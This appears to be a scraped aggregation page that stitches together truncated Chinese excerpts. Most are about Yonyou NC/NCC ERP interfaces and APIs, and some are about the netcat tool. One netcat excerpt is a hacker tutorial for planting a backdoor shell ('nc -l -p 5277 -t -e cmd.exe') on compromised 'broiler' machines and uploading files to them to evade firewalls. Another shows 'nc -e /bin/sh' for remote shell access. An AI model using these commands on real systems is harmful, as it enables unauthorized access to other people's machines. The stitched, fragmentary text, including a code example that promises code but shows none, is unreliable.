NC_API

合集下载

nccapi 调用示例

nccapi 调用示例

NCCAPI(Network Control Center API)通常用于网络设备的管理和控制。

以下是一个基本的NCCAPI调用示例,但请注意,具体的调用方式可能会因不同的设备和API版本而有所不同:
python代码:
在这个示例中:
1. 首先导入了nccapi模块。

2. 创建了一个NCCAPI对象。

3. 使用用户名和密码登录到NCC,并检查返回的状态是否为成功。

4. 如果登录成功,调用get_device_list方法获取设备列表,并打印每个设
备的名称和IP地址。

5. 最后,调用logout方法登出NCC,并检查返回的状态。

请确保你已经正确安装了NCCAPI库,并且你的代码中包含了正确的访问凭据和API调用方法。

在实际使用中,你可能需要根据具体API文档和错误处理需求进行调整。

nc(黑客界的瑞士军刀)的用法

nc(黑客界的瑞士军刀)的用法

例子
nc -l -p 5277 -t -e cmd.exe
知道运行在哪里吗?千万不要运行在自己的机器上,如果运行了,你机器
就会变成一台TELNET的服务器了,呵呵,解释一下:监听本地端口5277的
入站信息,同时将CMD.exe这个程序,重定向到端口5277上,当有人连接的时候,就让程序CMD.exe以TELNET的形式来响应连接要求。
说白了,其实就是让他成为一台TELNET的肉鸡,所以这个命令要运行在你的肉鸡上。。(话外音:说这么多遍当我们白痴啊,快往下讲!!!)
呵呵,咱们来找台肉鸡试试,我TELNET IP 5277
HOHO~~如何?
local machine:nc -l -p port ( or nc -l -v -p port )
这样就可以使很多防火墙失效,因为很多防火墙都不检查出站请求的。
这里这两个命令结合在一起后,于那两款木马可以说有异曲同工之效。为什么?
咳!!听我给你讲啊!!(先交100000000RMB学费)哇,别杀我啊!!)
nc -l -p 5277 (坚听本地5277端口)
同样也可以用
nc -l -v -p 5277
首先,在远程机上运行命令:
nc -v -l -p 5277 > c:\pulist.exe
这个命令还记的吗?呵呵,是不是和监听命令有点类似,对,没错,这个是监听5277端口
并把接受到的信息数据写到c:\pulist.exe中
这时候在本地机上运行
nc -v -n ip 5277 < e:\hack\pulist.exe
例如:80端口
我们可以使用nc -v ip 80 然后使用get方法来获得对方的WEB服务器的信息

SAP与NC接口开发需求说明

SAP与NC接口开发需求说明

NC协同接口功能开发说明书文档控制⏹版本控制⏹文档审核程序类型:❑报表❑功能性开发❑批处理程序❑打印表单√系统增强❑用户出口□接口❑程序用到的技术:❑ALV❑BAPI ❑BDC❑RFC❑ALE❑其他运行频率:每小时每天每周每月其它运行方式:前台手工后台自动程序名:TCode:1概要说明1.1与此功能开发相关的业务背景1.2此功能开发的业务需求描述1、协同的内容:协同的内容包括:1)SAP的交货单(以下简称交货单),2)SAP存放的来自金税系统的VAT发票(以下简称发票);注意:这两个单据的协同对应的都是NC的采购订单。

2、协同的方式:对于交货单:多个付款方都协同到同一个账套,因品牌渠道不同,一个付款方可协同到不同帐套。

只有部分交货单都需要协同系统会建立如下的控制表,以实现相关的控制逻辑NC协同客户-账套对应表字段:协同单据类型付款方编码付款名称品牌渠道协同账套地址NC协同交货单类型清单字段:交货单单号付款方名称付款方编码净价值税额价税合计是否协同删除标志对于发票:一个付款方协同到一个帐套,只有部分付款方的发票需要协同。

系统会建立如下的控制表,以实现相关的控制逻辑NC协同客户-账套对应表字段:协同单据类型付款方编码付款方名称协同账套地址2功能需求详细说明订单协同接口字段说明.xlsx2.1相关表及字段注:如果不涉及到自定义表格,可以忽略以下部分2.2选择条件/用户界面2.3处理逻辑详细描述2.4输出设计/用户界面2.5权限要求说明:分配什么角色:分别按什么字段标准(包括标准或自定义权限对象),控制什么权限。

NC凭证接口解决方案和思路

NC凭证接口解决方案和思路

NC接口系统设计方案前言1 NC接口的目标与范围⏹NC接口的目标以NC集团财务管理系统为核心,通过应用集成整合各类应用系统,实现集团范围内业务系统与NC集团财务管理系统的无缝对接和业务协作,达到财务业务一体化和单据数据信息的共享,提高NC财务业务数据的录入效率和准确性,避免凭证和业务单据的重复录入。

⏹应用集成的范围➢基础档案的协同:主要包括客商档案、会计科目、人员档案等;➢总账数据的协同:主要包括总账凭证以及凭证中涉及的辅助核算;➢业务单据的协同:主要包括应收单、应付单、付款单、收款单、出入库单等多种单据;2详细设计方案2.1业务系统与NC系统的对接。

2.1.1接口内容(1)整合业务系统的基础档案到NC基础档案。

业务系统和NC系统基础档案的接口环节主要就是基础数据的唯一识别码和基础档案的导入和导出,即取业务系统系统中的档案数据按照用友NC系统的标准格式,传递给NC,并自动生成基础档案的唯一标识。

(2)整合业务系统的业务数据到NC总账凭证。

业务系统和NC系统总账模块的接口环节主要就是业务数据的导出和凭证数据导入,即取业务系统中的业务数据按照用友NC系统的凭证格式,生成NC 可以识别的单据数据,并通过后台传递给NC,生成NC凭证,凭证依据单据流水号作为唯一标识。

(3)整合业务系统的业务数据到NC业务单据。

业务系统和NC系统业务模块的接口环节主要就是业务数据的导出和业务数据的导入,即取业务系统中的业务数据按照用友NC系统的业务单据格式,生成NC可以识别的业务单据数据,并通过后台传递给NC,生成NC单据,单据依据单据流水号作为唯一标识。

2.1.2接口定义与设计考虑到用友NC系统数据交换平台的技术实现方式,对于上述接口内容本身的技术实现可以做如下设计:2.1.3接口分析由于此处业务系统的单据需要与NC进行对接,并且达到信息的共享和软件的集成,首先需要进行基础信息的对照,包括(客商信息、人员档案、凭证类型、辅助核算的设置),如需要协同的单据类型比较单一,则不需要进行大量数据的维护,如需要系统的单据类型比较多,则需要进行大量数据的设置和维护。

Linux命令高级技巧使用nc命令进行网络端口的扫描和连接测试

Linux命令高级技巧使用nc命令进行网络端口的扫描和连接测试

Linux命令高级技巧使用nc命令进行网络端口的扫描和连接测试Linux命令高级技巧:使用nc命令进行网络端口的扫描和连接测试Linux系统作为一种常用的操作系统,提供了丰富的命令行工具,用于进行系统管理和网络操作。

其中,nc命令是一款功能强大的网络工具,可以用于网络端口的扫描和连接测试。

本文将介绍如何使用nc命令进行高级技巧应用。

一、nc命令简介及基本用法nc是Netcat的缩写,是一款全能的网络工具。

它可以作为后台进程,在客户端和服务器之间传送数据,用于网络管理和设备测试等目的。

nc命令的基本用法如下:```nc [options] host port```其中,options为可选参数,host为目标主机名或IP地址,port为目标端口号。

二、网络端口扫描网络端口扫描是对目标主机进行端口开放情况的测试。

使用nc命令,可以通过扫描目标IP地址的不同端口,判断目标主机上是否存在特定的服务或程序。

下面是使用nc命令进行网络端口扫描的示例代码:nc -z -v -w1 host port```其中,-z选项表示不发送任何数据,主要用于TCP扫描。

-v选项用于显示详细信息,-w1选项表示设置超时时间为1秒。

三、网络端口连接测试网络端口连接测试可以用于验证目标主机的特定端口是否能够建立连接。

使用nc命令,可以模拟客户端向目标主机的指定端口发起连接请求,并显示连接成功或失败的结果。

下面是使用nc命令进行网络端口连接测试的示例代码:```nc -vz host port```其中,-v选项用于显示详细信息,-z选项表示仅连接测试,不发送数据。

四、高级技巧:使用nc命令进行端口代理除了基本的端口扫描和连接测试功能外,nc命令还可以用于搭建简单的端口代理。

通过监听指定端口,将所有的数据转发到另一个端口,实现端口间的数据传输。

下面是使用nc命令进行端口代理的示例代码:nc -l -p listen_port | nc target_host target_port```其中,-l选项表示监听模式,-p选项指定监听的端口号,target_host 为目标主机名或IP地址,target_port为目标端口号。

ncc 开发技巧

ncc 开发技巧

ncc 开发技巧NCC开发技巧NCC(网络控制中心)是一个用于管理和监控网络设备的软件系统。

它提供了一套丰富的功能,以帮助网络管理员更好地管理和维护网络。

在进行NCC开发时,掌握一些技巧可以提高开发效率和代码质量。

本文将介绍一些NCC开发技巧,帮助开发者更好地应用NCC。

一、合理规划项目结构在进行NCC开发时,合理规划项目结构是非常重要的。

可以按照模块或功能对代码进行划分,将相关的代码放在一起,提高代码的可读性和维护性。

同时,采用统一的命名规范,可以使代码更加规范整洁。

二、灵活运用NCC提供的APINCC提供了丰富的API接口,开发者可以根据需求灵活运用。

在使用API时,要注意正确地调用接口,传递正确的参数。

同时,可以根据具体需求编写一些封装函数,提高代码的复用性。

三、充分利用NCC的调试功能NCC提供了强大的调试功能,可以帮助开发者快速定位和解决问题。

在开发过程中,可以通过设置断点、查看日志等方式进行调试,提高开发效率。

四、安全性注意事项在进行NCC开发时,要注意安全性。

例如,在处理用户输入时,要进行输入验证,防止恶意输入引发安全漏洞。

此外,要对代码进行安全审计,避免潜在的安全风险。

五、优化性能对于NCC开发来说,性能优化也是一个重要的方面。

在进行性能优化时,可以考虑以下几点:合理使用缓存、减少数据库访问次数、优化算法等。

通过这些优化措施,可以提高系统的响应速度和吞吐量。

六、文档和注释在进行NCC开发时,编写文档和注释也是非常重要的。

良好的文档可以帮助其他开发者更好地理解代码,减少沟通成本。

同时,添加适当的注释可以使代码更易读,方便后续的维护和升级。

七、错误处理在开发过程中,要注意错误处理。

对于可能发生的异常情况,要进行合理的处理,避免程序崩溃或数据丢失。

可以使用try-catch块捕获异常,并进行相应的处理和日志记录。

八、持续学习和更新NCC是一个不断更新和演进的系统,开发者需要时刻保持学习的状态。

nc命令参数

nc命令参数

nc命令,也被称为netcat,是一个功能强大的网络工具。

下面是一些常用的nc命令参数:
1. -l:用于指定nc将处于侦听模式。

指定该参数,则意味着nc被当作server,侦听并接受连接,而非
向其它地址发起连接。

2. -p <port>:用于指定使用的端口号。

在老版本的nc中,可能需要在端口号前加-p参数,但在某些
测试环境中(如centos6.6,nc版本为nc-1.84),这个参数并未使用。

3. -s:指定发送数据的源IP地址,适用于多网卡机。

4. -u:指定nc使用UDP协议,默认为TCP。

5. -v:输出交互或出错信息,新手调试时尤为有用。

6. -w <超时秒数>:设置等待连线的时间。

7. -z:表示zero,表示扫描时不发送任何数据。

这些参数可以单独使用,也可以组合使用。

具体使用哪个参数取决于你想要实现的网络操作。

更多详细信息可以查阅nc的man手册(通过输入“man nc”在终端中查看)。

用友NC-OA平台API参考手册

用友NC-OA平台API参考手册

用友N C-O A平台A P I参考手册© 2006 UFida Co., Ltd.All rights reserved.This document contains information that is proprietary and confidential to UFida., which shall not be disclosed outside the recipient's company or duplicated, used or disclosed in whole or in part by the recipient for any purpose other than to evaluate this file. Any other use or disclosure in whole or in part of this information without the express written permission of Ufida. is prohibited. Date: 2009-02-26Author: 王文友Version: V1.0用友NC-OA平台API参考手册 (1)修改记录 (6)1.服务参考 (7)1.1概述 (7)1.1.1配置开发环境 (7)1.1.2开始编码(Java) (7)1.1.2.1生成ADB Client Stub (7)1.1.2.2编写客户端代码 (7)1.1.3开始编码(C#) (8)1.1.3.1添加服务引用 (8)1.1.3.2编写客户端代码 (11)1.1.4服务列表 (11)1.1.5服务公共实体 (12)1.1.5.1服务响应实体(ServiceResponse) (12)1.1.5.2服务异常(ServiceException) (13)1.2验证服务 ............................................................................. .. (13)1.2.1登录验证 (13)1.2.1.1身份验证令牌实体(UserToken) (13)1.2.1.2身份验证 (13)1.3组织模型管理 (14)1.3.1单位管理 (14)1.3.1.1取得单位ID (14)1.3.2人员管理 (15)1.3.2.1人员实体(PersonInfoParam_All) (15)1.3.2.2方法列表 (16)1.3.2.3创建人员 (16)1.3.2.4修改人员信息(按人员ID) (17)1.3.2.5修改人员信息(按人员登录名) (18)1.3.2.6删除人员(按人员ID) (19)1.3.2.7删除人员(按登录名) (20)1.3.2.8启用/停用人员(按人员ID) (20)1.3.2.9启用/停用人员(按人员登录名) (21)1.3.2.10修改人员密码(按人员ID) (22)1.3.2.11修改人员密码(按人员登录名) (22)1.3.3部门管理 (23)1.3.3.1部门实体(DepartmentInfoParam_All) (23)1.3.3.2方法列表 (23)1.3.3.3创建部门 (24)1.3.3.4更新部门(按部门ID) (25)1.3.3.5更新部门(按部门路径名称) (25)1.3.3.6删除部门(按部门ID) (26)1.3.3.7删除部门(按部门名称) (27)1.3.3.8删除部门(按部门名称及父部门名称) (27)1.3.3.9删除部门(按部门路径名称) (28)1.3.3.10启用/禁用部门(按部门ID) (28)1.3.3.11启用/禁用部门(按部门名称) (29)1.3.3.12启用/禁用部门(按部门名称及父部门名称) (30)1.3.3.13启用/禁用部门(按部门路径名称) (30)1.3.3.14移动部门(按部门ID) (31)1.3.3.15移动部门(按部门名称) (32)1.3.4岗位管理 (32)1.3.4.1岗位实体(OcupationInfoParam_A8_All) (32)1.3.4.2方法列表 (32)1.3.4.3创建岗位 (32)1.3.4.4更新岗位(按岗位ID) (33)1.3.4.5更新岗位(按岗位名称) (34)1.3.4.6删除岗位(按岗位ID) (35)1.3.4.7删除岗位(按岗位名称) (36)1.3.4.8启用/禁用岗位(按岗位ID) (36)1.3.4.9启用/禁用岗位(按岗位名称) (37)1.3.5职务级别管理 (38)1.3.5.1职务级别实体(OtypeInfoParam_A8_All) (38)1.3.5.2方法列表 (38)1.3.5.3创建职务级别 (38)1.3.5.4更新职务级别(按职务级别ID) (39)1.3.5.5更新职务级别(按职务级别名称) (40)1.3.5.6删除职务级别(按职务级别ID) (41)1.3.5.7删除职务级别(按职务级别名称) (41)1.3.5.8启用/禁用职务级别(按职务级别ID) (42)1.3.5.9启用/禁用职务级别(按职务级别名称) (43)1.4组织模型数据管理 (44)1.4.1方法列表 (44)1.4.2导出人员信息 (44)1.4.3导出部门信息 (46)1.4.4导出岗位信息 (48)1.4.5导出职务级别信息 .................................................................... 错误!未定义书签。

asean ncap解读

asean ncap解读

asean ncap解读【实用版】目录1.ASEAN NCAPI 简介2.ASEAN NCAPI 的组成和架构3.ASEAN NCAPI 的运作方式4.ASEAN NCAPI 的重要作用5.ASEAN NCAPI 的未来展望正文【ASEAN NCAPI 简介】ASEAN NCAPI,全称为东盟国家首都城市市长联盟(Association of Southeast Asian Nations National Capital City Alliance),是由东盟成员国的首都城市组成的一个区域性合作组织。

其宗旨是通过加强各成员城市间的交流与合作,共同应对城市发展中的挑战,促进东盟地区的经济、社会和文化发展。

【ASEAN NCAPI 的组成和架构】ASEAN NCAPI 成立于 2017 年,目前共有 10 个成员城市,包括马来西亚吉隆坡、印度尼西亚雅加达、菲律宾马尼拉、新加坡、泰国曼谷、越南河内、柬埔寨金边、老挝万象、缅甸内比都和东帝汶帝力。

该组织设有一个秘书处,负责协调各成员城市间的合作事务。

【ASEAN NCAPI 的运作方式】ASEAN NCAPI 采取轮值主席制度,每届主席任期两年。

各成员城市轮流担任主席,负责组织和召集联盟的会议和活动。

此外,联盟还设有多个工作委员会,负责在不同领域推进合作项目。

【ASEAN NCAPI 的重要作用】自成立以来,ASEAN NCAPI 在多个领域取得了积极成果。

在经济领域,联盟通过加强各成员城市间的贸易和投资合作,共同推动区域经济一体化进程。

在社会领域,联盟致力于提高城市治理水平,加强环境保护和教育合作。

在文化领域,联盟通过举办各种文化交流活动,促进了东盟文化的传播与交流。

nc的用法范文

nc的用法范文

nc的用法范文NC(netcat)是一种功能强大的网络工具,可以用于网络连接、端口扫描、数据传输等多种网络操作。

它是由开放源代码社区开发的,原本是为Unix-like系统设计的,但也可在Windows系统上运行。

在本文中,我们将介绍NC的基本用法以及几个常见的应用场景。

一、NC的基本用法:1.NC的基本语法:nc [-options] [IP地址] [端口号]2.NC的选项:-l,监听模式,接收连接请求;-p<端口号>,设置端口号,用于监听或连接;-u,使用UDP协议;-v,显示详细输出信息。

3.NC的一些常用命令:A.作为服务端:nc -l -p [端口号]:在指定端口上监听来自客户端的连接请求;nc -l -u -p [端口号]:以UDP协议在指定端口上监听连接请求;B.作为客户端:nc [IP地址] [端口号]:连接指定的IP地址和端口号;nc -u [IP地址] [端口号]:使用UDP协议连接指定的IP地址和端口号;C.数据传输:nc -l -p [端口号] > [保存文件路径]:将来自客户端的数据保存到指定文件中;nc [IP地址] [端口号] < [文件路径]:将指定文件中的数据发送给服务端;echo [数据] , nc [IP地址] [端口号]:将指定的数据发送给服务端;D.端口扫描:nc -z [IP地址] [端口号]:检查指定的端口是否开放;nc -v -z [IP地址] [起始端口号] [结束端口号]:扫描指定范围内的端口是否开放;二、NC的应用场景:1.简单的聊天程序:可以使用NC在两台计算机之间建立TCP连接,并通过竖线(,)分隔符发送和接收消息,实现简单的聊天功能。

2. 文件传输:可以使用NC将文件从一台计算机传输到另一台计算机。

作为客户端,使用命令“nc [IP地址] [端口号] < [文件路径]”将文件发送到服务端,作为服务端,使用命令“nc -l -p [端口号] > [保存文件路径]”接收来自客户端的文件。

NC63常用单据API

NC63常用单据API
操作表头:
BillCardPanel cardPanel = e.getBillForm().getBillCardPanel();
cardPanel.setHeadItem("pk_group", pk_group);
String pk_supclass=(String)cardPanel.getHeadItem("pk_supclass").getValueObject();
ExceptionUtils.wrappBusinessException("保存失败,编码为空。");
//获取表头项key的参照
SupplierRefModel refModel=(SupplierRefModel)((UIRefPane)cardPanel.getHeadItem(key)
AceHeadTailAfterEditHandler:
//从供应商参照中查找当前选择的供应商分类主键
pk_supclass=(String)((UIRefPane)cardPanel.getHeadItem(key)
.getComponent()).getRefValue("pk_supclass");
}
totalmoney=totalmoney.add(nnum.multiply(nprice));
totalnum=totalnum.add(nnum);
Hale Waihona Puke //后台调用DAO查询 BaseDAO dao = new BaseDAO();
String wherePart=" code='"+vo.getCode()+"'";

nc数据读取并转换为excel的方法

nc数据读取并转换为excel的方法

数据对于现代社会而言具有重要的意义,尤其是在信息化时代,大数据的应用越来越广泛。

在数据分析和处理过程中,Excel是一种常用的工具,将数据读取并转换为Excel格式具有重要的意义。

在数据分析过程中,为了更好地利用数据,我们需要将数据从数据库或其他数据源中读取出来,并将其转换为Excel表格,在Excel中进行进一步的处理和分析。

以下将介绍一些常见的方法和技巧,来实现将NC数据读取并转换为Excel的操作。

一、数据读取方法1. 文件读取NC数据通常保存在文件中,我们可以使用Python的pandas库来读取这些文件。

pandas是一个开源的、易于使用的数据分析工具,它提供了丰富的数据结构和数据分析工具,包括读取和写入不同格式的数据的功能。

通过pandas库,我们可以使用read_csv()函数来读取CSV格式的数据文件,或者使用read_excel()函数来读取Excel格式的数据文件。

在读取NC数据时,我们可以使用pandas的read_csv()函数来将NC数据读取到DataFrame中,并进行进一步的处理。

2. 数据库读取除了文件读取外,我们还可以直接从数据库中读取NC数据。

在实际应用中,数据通常保存在关系型数据库中,如MySQL、SQL Server 等。

我们可以使用Python的pandas库结合SQLAlchemy来实现从数据库中读取数据,并将其转换为Excel格式。

通过SQLAlchemy库,我们可以连接到数据库并执行SQL查询,将查询结果保存到DataFrame中,然后使用pandas的to_excel()函数将DataFrame中的数据保存为Excel文件。

3. API接口读取在一些特殊的情况下,NC数据可能通过API接口提供。

我们可以使用Python的requests库来调用API接口,并将返回的数据转换为Excel格式。

通过requests库,我们可以向API接口发起请求,获取数据,并将其保存为Excel文件。

nc 用法

nc 用法

nc 用法
nc(netcat)是一种功能强大的网络工具,用于在计算机之间进行网络通信和数据传输。

以下是一些nc的常见用法:
1. 简单的网络连接:使用nc可以简单地连接到远程主机的特定端口,如:nc host port。

2. 网络代理:使用nc可以创建一个简单的网络代理,指定一个监听端口和目标主机和端口,如:nc -l -p listen_port -c 'nc target_host target_port'。

3. 文件传输:使用nc可以通过网络传输文件,如:发送文件:nc -l -p 1234 < file.txt;接收文件:nc remote_host remote_port > file.txt。

4. 监听和测试端口:使用nc可以监听指定端口,并测试端口是否可用,如:nc -l -p port。

5. 扫描端口:使用nc可以扫描目标主机的指定端口范围,如:nc -zv host start_port-end_port。

6. 远程shell访问:使用nc可以通过网络访问远程主机的shell,如:在目标主机上运行:nc -l -p 1234 -e /bin/sh;在本地主机上运行:nc remote_host 1234。

7. 端口转发:使用nc可以进行端口转发,将一个端口上的数据转发到另一个主机和端口,如:nc -l -p local_port -c 'nc target_host target_port'。

这些只是nc的一些常见用法,它还有更多强大且灵活的功能,可以根据具体需求进行定制和使用。

NC开发规范

NC开发规范

注释 – 文档注释
Javadoc用它来产生代码的文档 (/** …*/ ),可以多行 用它来产生代码的文档 ),可以多行 用来对类、接口、成员方法、成员变量、静态字段、静态方法、 用来对类、接口、成员方法、成员变量、静态字段、静态方法、常量进行说 明 为了可读性,可以有缩进和格式控制(如采用html的元素,转移字符 的元素, 为了可读性,可以有缩进和格式控制(如采用 的元素 文档注释常采用一些标签进行文档的特定用途描述,用于帮助Javadoc产生文 文档注释常采用一些标签进行文档的特定用途描述,用于帮助 产生文 档
注释 – 基本原则
注释应该使代码更加清晰易懂 注释要简单明了,只要提供能够明确理解程序所 注释要简单明了, 必要的信息就可以了。 必要的信息就可以了。注释太复杂说明程序需要 修改调整, 修改调整,使设计更加合理 注释不仅描述程序做了什么, 注释不仅描述程序做了什么, 还要描述为什么要 这样做,以及约束 这样做 以及约束 对于一般的getter、setter方法不用注释 对于一般的 、 方法不用注释 生成开发文档的需要用中文编写 注释不能嵌套
文件规范 - XML
一般以xml文件结尾,对于模块的组建配置文件, 文件结尾,对于模块的组建配置文件, 一般以 文件结尾 可以有module, upm, usm三种后缀,其中 三种后缀, 可以有 三种后缀 其中upm, usm在5.5后支持 在 后支持 文件必须以UTF-8编码 文件必须以 编码 符合schema的要求,如web.xml,必须符合 的要求, 符合 的要求 ,必须符合j2ee 应用配置文件的schema要求 对web应用配置文件的 应用配置文件的 要求 文件的命名需要有一定的意义, 文件的命名需要有一定的意义,尽量简短
public int width; public String fileName; public static ApplicationContext context;

NC_API解读

NC_API解读

NC开发帮助作者:jieely✧ A➢Accsubjdoc// 通过系统提供的会计科目接口查询所有会计科目Accsubjdoc itf =(Accsubjdoc) NCLocator.getInstance().lookup(Accsubjdoc.class.getName());nc.vo.bd.b02.AccsubjVO[] targetSubjV os = itf.queryAccsubjVOs(pk_glorgbook, null, false); AccperiodVO//查询会计期间AccperiodVO[] accperiodVOs =(AccperiodVO[]) HYPubBO_Client.queryByCondition(AccperiodVO.class, " nvl(dr,0)=0 "); ➢addBetcha.无参批量更新String sql = "update bd_deptdoc set dept_code =‘aaa’ where dept_code=‘bbb’"; session.addBatch(sql); //添加需要执行的同构SQLint rows = session.executeBatch(); //执行b.有参批量更新String sql = "update bd_deptdoc set dept_code =‘aaa’ where dept_code=?”; SQLParameter param = new SQLParameter(); //构造参数对象param.addParam(“bbb”); //添加参数session.addBatch(sql, param); //添加需要执行的同构SQLint rows = session.executeBatch(); //执行➢afterEdit@Override//表的编辑后赋默认值方法(UI类重写方法)*先执行afterEdit,后执行公式* public void afterEdit(BillEditEvent event){super.afterEdit(event);if(event.getKey().equals("zd")){t his.getBillCardPanel().execHeadEditFormulas();}else if (event.getTableCode().equals("st_xx_jyzy") &&event.getKey().equals("code")){t his.getBillCardPanel().setBodyValueAt(new UFBoolean('N'), event.getRow(), "jyzt");t his.getBillCardPanel().setBodyValueAt(new UFBoolean('Y'), event.getRow(), "zyzt");}}➢ALTER//增加字段ALTER TABLE tablea ADD newcol char(20)//更改字段名ALTER TABLE tablea CHANGE newcol newrow char(50)//更改字段类型ALTER TABLE tablea MODIFY newrow char(30)//删除字段ALTER TABLE tablea DROP newrow➢ArrayListArrayList list = new ArrayList();…..list.add();SettleVO[] vos = new SettleVO[list.size()];vos = list.toArray(vos);//List与VO数组转换✧ B➢BillCode//得到单据号BillcodeGenerater billNoGen = new BillcodeGenerater();billno = billNoGen.getBillCode("TI55", "0001", null, null);➢BillDataBillData bd = getBillCardPanel().getBillData();BillItem item = bd.getBodyItem(_TABLECODE1, "ialloctype");➢BillField@Override//修改单据状态时需重写此方法protected IBillField createBillField(){return BillField.getInstance();}➢Button//自定义按钮public ButtonVO getFujian_btn(){ButtonVO btnVO = new ButtonVO();btnVO.setBtnNo( IprivateButton.Fujian_btn );btnVO.setBtnName( "附件管理" );btnVO.setHintStr( "附件管理" );btnVO.setOperateStatus( new int[]{IBillOperate.OP_NOTEDIT} ); // 在非新增和非编辑状态下可用return btnVO;}//在UI中设置按钮状态getButtonManager().getButton(nc.ui.trade.button.IBillButton.Add).setEnabled(false);➢Byte[]public static final byte[] m_ENTER = {0x0d, 0x0a};//换行符 ASCII码: 0x0d 0x0a ✧ C➢CaseWhenORACLE: Case…..When 语句SELECT(CASE dr WHEN0THEN'有效'WHEN1THEN'无效'END) AS显示FROM bd_corptry{}catch(DbException e){//如果是语法错误if(e.isBadSQLGrammar()){Logger.error("语法错误:"+e.getMessage(),e);}//如果是数据一致性错误if(e.isDataIntegrityViolation()){Logger.error("数据一致性错误:"+e.getMessage(),e);}}➢CheckRule<前台校验类> XXX UICheckRule//校验数据是否重复public IUniqueRule[] getItemUniqueRules(String tablecode) { if( "cl_gg_ytzwlb".equals( tablecode ) ){IUniqueRule[] unique = null;unique = new IUniqueRule[]{new UniqueRule("座类编码不能重复",newString[]{("zlbm")})};return unique;}return null;}//校验是否为空public ICheckRule[] getItemCheckRules(String tablecode) { CheckRule[] rules = new CheckRule[] {new CheckRule("【NC结算方式编码】", "ncsettlecode", false, null, null)};return rules;}➢checkPrerequisite//对于控制集团不能打开节点,只有公司可以打开节点的处理//在ClientUI中覆写Toftpanel的方法:public String checkPrerequisite(){String pk_corp = _getCorp().getPk_corp();if (pk_corp.equals("0001")) {return "当前处于集团,此功能点无法进入";}return null;}➢ClientEnvironment➢Column//单据模板获得jtable可通过getBillCardPanel().getBillTable()//获取列表模型 TableColumnModel tcm=table.getColumnMode();//第n列设置为隐藏TableColumn hideColumn = table.getColumn("第n列");//隐藏第n列设置tcm.removeColumn(hideColumn);//显示第n列设置tcm.addColumn(hideColumn);//把i列移动到第j列tcm.moveColumn(i, j);getBillCardPanel().getBodyPanel().hideTableCol(strKey);//隐藏getBillCardPanel().getBodyPanel().showTableCol(strKey);//显示➢ComboBoxUIComboBox typeCom = (UIComboBox) this.getBillCardPanel().getBodyItem("x").getComponent();typeCom.addItems(Object[] obj);➢ConnectionPersistenceManager sessionManager = PersistenceManager.getInstance(); JdbcSession session = sessionManager.getJdbcSession();Connection con = session.getConnection();PreparedStatement stmt = null;stmt = con.prepareStatement(con, sql);finally{stmt.close();con.close();sessionManager.release();}➢ConnectException//启动NC时抛异常.ConnectException: Connection refused: connect原因:80端口被占用➢ConditionVO//取查询对话框VO值ConditionVO[] conVOs = getQueryDLG().getConditionVO();for (int i = 0; i < conVOs.length; i++){if ("billdate".equals(conVOs[i].getFieldCode())){billdate = conVOs[i].getValue();}else if(){……}}➢Coperatorid//操作员所对应业务员cworkpsnid->getColValue(bd_psndoc,pk_psndoc,pk_psnbasdoc,getColValue( sm_userandclerk,pk_psndoc,userid,coperatorid))➢createQueryDLG()/**<UI类--查询对话框>*重写父类方法,取得查询对话框,如有动态显示下拉框和默认值需重写此方法*/protected QueryDLG createQueryDLG() {FundReportDLG dlg = new FundReportDLG();dlg.setTempletID(getUIControl()._getPk_corp(),this.getModuleCode(),getUIControl()._getOperator(),null);//设置默认日期QueryConditionVO[] qryvos = dlg.getConditionDatas();for(int i=0;i<qryvos.length;i++) {if(qryvos[i].getFieldCode().equals("billdate")){ qryvos[i].setValue(getClientEnvironment().getDate().toString());break;}}return dlg;}➢CARDPANELif(clientUI.isListPanelSelected())//如果是选取的列表界面clientUI.setCurrentPanel(BillTemplateWrapper.CARDPANEL);➢Controlcontrol userpasswords2 //运行【用户帐户】➢Custflag说明:0客户1供应商2既是客户又是供应商3既是供应商又是客户✧ D➢DapCallnc.ui.pf.pub.DapCallgetPkcorp()//取公司getOperator()//取操作员➢dataNotNullValidate// 验证不能为空的字段getBillCardPanelWrapper().getBillCardPanel().dataNotNullValidate();➢dataSourceString dataSource = DataSourceCenter.getInstance().getSourceName();//取当前数据源➢DateUFDate date = ClientEnvironment.getInstance().getDate();//得到登陆日期select to_char(last_day(to_date('20100625','yyyymmdd')),'dd') from dual;//得到每月多少天➢DateFormatpublic class DateTest {public static void main(String[] args) {String dates = "2007-8-14";//日期时间DateFormat df = new SimpleDateFormat("yy-MM-dd");//日期格式化辅助类Date d;try {d = df.parse(dates);//格式化日期if (d.getDay() == 0 || d.getDay() == 6)//判断是不是双休日System.out.println("日期:[" + dates + "] 是双休日");elseSystem.out.println("日期:[" + dates + "] 不是双休日");} catch (ParseException e) {e.printStackTrace();}}}➢dataNotNullValidatepublic void onBoSave() throws Exception {getBillCardPanelWrapper().getBillCardPanel().getBillData().dataNotNullValidate ();//UAP模板设置必输项boolean flag = true;try{super.onBoSave();}catch (IllegalArgumentException e){(e);flag = false;}catch (Exception e){if(flag)this.getSelfUI().showErrorMessage("【资产名称】已存在,请检查");return ;}super.onBoRefresh();}➢DecodeDECODE的语法:DECODE(value,if1,then1,if2,then2,if3,then3,...,else)表示如果value等于if1时,DECODE函数的结果返回then1,...,如果不等于任何一个if值,则返回else。

nc输出模版

nc输出模版

nc输出模版
在计算机编程中,网络编程是一个非常重要的领域。

而在网络编程中,nc (netcat)是一个非常有用的工具,它可以用来进行网络数据传输和调试。

在本文中,我们将介绍nc输出模版的使用方法和一些实际应用场景。

首先,让我们来看一下nc输出模版的基本用法。

在命令行中输入以下命令:```。

nc -l -p 1234 > output.txt。

```。

这条命令的含义是在本地监听端口1234,并将接收到的数据输出到output.txt
文件中。

这样我们就可以通过nc命令来接收网络上发送过来的数据,并将其保存
到本地文件中。

除了将数据保存到文件中,我们还可以通过nc输出模版来实现一些其他的功能。

比如,我们可以将接收到的数据通过管道传输给其他命令进行处理,或者将数据发送到其他主机上。

这样就可以实现一些复杂的网络数据处理和传输操作。

实际上,nc输出模版在实际应用中有着非常广泛的用途。

比如,我们可以通过nc输出模版来实现简单的文件传输,或者通过nc输出模版来进行网络调试和监控。

在一些特殊的场景下,nc输出模版甚至可以用来进行简单的网络通信和数据交换。

总的来说,nc输出模版是一个非常有用的工具,它可以帮助我们实现各种各样的网络编程任务。

通过学习和掌握nc输出模版的使用方法,我们可以更加高效地
进行网络编程工作,提高我们的工作效率和编程能力。

希望本文对大家有所帮助,也希望大家能够在实际工作中灵活运用nc输出模版,发挥其最大的作用。

用友NCC产品API使用指南

用友NCC产品API使用指南

⽤友NCC产品API使⽤指南轻易云⽤友NCC产品API集成专题open api简介Open API即开放API,也称开放平台。

